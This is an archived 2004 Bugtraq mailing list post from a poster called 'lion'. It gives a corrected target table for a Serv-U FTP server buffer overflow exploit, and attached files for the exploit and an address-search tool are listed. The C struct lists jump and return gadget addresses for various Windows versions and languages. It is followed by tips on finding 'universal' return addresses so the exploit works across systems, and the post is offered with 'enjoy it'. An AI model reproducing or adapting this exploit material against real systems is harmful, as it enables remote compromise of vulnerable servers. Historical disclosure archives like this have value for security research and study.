bugtraq - Serv-U Real Target and Search ASM Code Tool for Overflow Exploit.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040304145818.2562.qmail@mail.securityfocus.com>
Date: Thu, 4 Mar 2004 23:28:30 +0800
From: "lion" <lion@...onker.net>
To: "bugtraq" <bugtraq@...urityfocus.com>
Subject: Serv-U Real Target and Search ASM Code Tool for Overflow Exploit.

hi,

someone said my exploit make a carsh. 
because i remove some target.
please use this target:

==============================================
struct
{
	DWORD	dwJMP;
	char	*szDescription;
}targets[] =
{
	{0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},	//msvcrt.dll pop,pop,ret addr
//	{0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},		//msvcrt.dll pop,pop,ret addr
	{0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},		//msvcrt.dll pop,pop,ret addr    

//	{0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all CN win2000,winxp,win2003
	{0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all CN win2000,winxp,win2003
	{0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all EN win2000,winxp,win2003
	{0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all TW win2000,winxp,win2003
//	{0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},		//jmp ebx addr for all TW win2000
	{0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},		//jmp ebx addr for all KR win2000

	{0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},		//jmp esp addr for all CN win2000,winxp,win2003
	{0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},		//jmp esp addr for all CN win2000,winxp,win2003
	{0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},		//jmp esp addr for all TW win2000,winxp,win2003
	{0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},		//jmp esp addr for all TW win2000,winxp,win2003

	{0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},		//call esp addr for all KR win2000,winxp,win2003
	{0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},		//call esp addr for all KR win2000,winxp,win2003
	{0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},		//setupapi.dll jmp esp addr
	{0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},		//setupapi.dll jmp esp addr

//	{0x7802ba77,"Serv-U test"},         
},v;
============================

and you can use sac.cpp (search asm code tool) to find other version system's universal address.

1. The magic address found in msvcrt.dll on the same systems(for example,win2000 sp4) are universal, even they have diffrent system language.
2. The magic address found from the address 0x7ffa0000 is universal on the same language system(for example, the address can work on the Chinese Simplified win2k,winxp,win2003 system).

 enjoy it. :) 

               lion
               lion@...onker.net
               http://www.cnhonker.com
               2004-03-04

Download attachment "sac.cpp" of type "application/octet-stream" (12848 bytes)

Download attachment "Servu2.c" of type "application/octet-stream" (21756 bytes)